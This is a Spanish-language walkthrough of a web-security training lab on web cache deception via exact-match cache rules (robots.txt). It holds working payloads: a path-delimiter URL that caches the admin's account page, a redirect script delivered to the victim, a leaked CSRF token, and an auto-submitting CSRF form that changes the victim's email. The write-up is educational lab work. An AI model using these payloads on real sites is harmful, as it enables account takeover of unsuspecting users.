Laboratorio: Explotación de reglas de caché de coincidencia exacta para el engaño de caché web

<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything%40web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>
  • Ya tenemos el archivo extatico de coincidencia exacta.

Esto indica que la memoria caché tiene una regla para almacenar respuestas según el /robots.txt nombre del archivo →

Ya encontramos el delimitador, tal parece que es ; → Así es como el server de origen reconoce hasta change-email mientras que la caché guarda la info en robots.txt, con base en ello iniciaremos lo demás del ataque.

Lo que debemos hacer ahora es intentar obtener el token CSRF del administrador, para eso le enviamos un script malicioso para que acceda nosotros accedemos a ese mismo endpoint con la respuesta del admin como lo guarda en caché dentro de esos 30 segundos entonces accedemos y tomamos el token CSRF que genera para luego seguir con el ataque.

Aqui vemos como podemos ver el CSRF Token en estado oculto hidden pero ese precisamente es el que podremos obtener del user administrator victima cuando le enviemos el payload →

  • Este es el token CSRF de Wiener: CA10HNDRADZ98nKsKFz3TQSiPQKtD5UK importante el token debe ser diferente, el de admin es el que necesito para poner en el PoC CSRF.

Payload a entregar: <script>document.location="https://0add00c304daa7a881449d7600110048.web-security-academy.net/my-account;%2f%2e%2e%2f%2e%2e%2frobots.txt?aaaa"</script>
URL A ENTRAR: 'my-account;%2f%2e%2e%2f%2e%2e%2frobots.txt?aaaa'

Obtuvimos el token de admin →

Con este token Wg6VZLC26wBw5cLKhCb3xTO6bL06jfnu ya podemos partir o iniciar en concreto para poder generar el csrf poc, tomando como referencia la post de change email.

actualizamos el csrf efectivamente

Generamos CSRF POC CON BURP →

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0add00c304daa7a881449d7600110048.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test2&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="Wg6VZLC26wBw5cLKhCb3xTO6bL06jfnu" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
Y Deliver exploit to victim

Y guala ->

Last updated